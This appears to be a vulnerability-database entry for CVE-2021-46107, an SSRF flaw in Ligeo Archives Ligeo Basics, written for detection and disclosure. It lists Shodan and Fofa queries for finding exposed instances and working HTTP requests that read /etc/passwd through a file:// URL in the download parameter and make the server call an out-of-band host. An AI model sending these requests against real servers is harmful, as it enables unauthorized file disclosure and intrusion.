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CVE-2021-46107: Ligeo Archives Ligeo Basics - Server Side Request Forgery

TitleLigeo Archives Ligeo Basics - Server Side Request Forgery
Authorritikchaddha
SeverityHigh
ImpactThe impact of this vulnerability is significant as it can result in unauthorized access to sensitive data or systems.
RemediationApply the latest security patches or updates provided by the vendor to fix the Server Side Request Forgery vulnerability.
CVSS Score7.5
EPSS Score0.62758
CVE IDCVE-2021-46107
CWE IDCWE-918
Shodan Querytitle:"Ligeo"http.title:"ligeo"
Fofa Querytitle="Ligeo"title="ligeo"
Tags cve2021 cve ligeo ssrf lfr ligeo-archives vuln

🔍 Vulnerability Description

Ligeo Archives Ligeo Basics as of 02_01-2022 is vulnerable to Server Side Request Forgery (SSRF) which allows an attacker to read any documents via the download features.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept-Encoding: gzip
GET /archive/download?file=file:///etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /archive/download?file=http://d5jocd1le0o22b6q2sv0fhhjj1agh1md9.oast.live/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46107.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46107.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A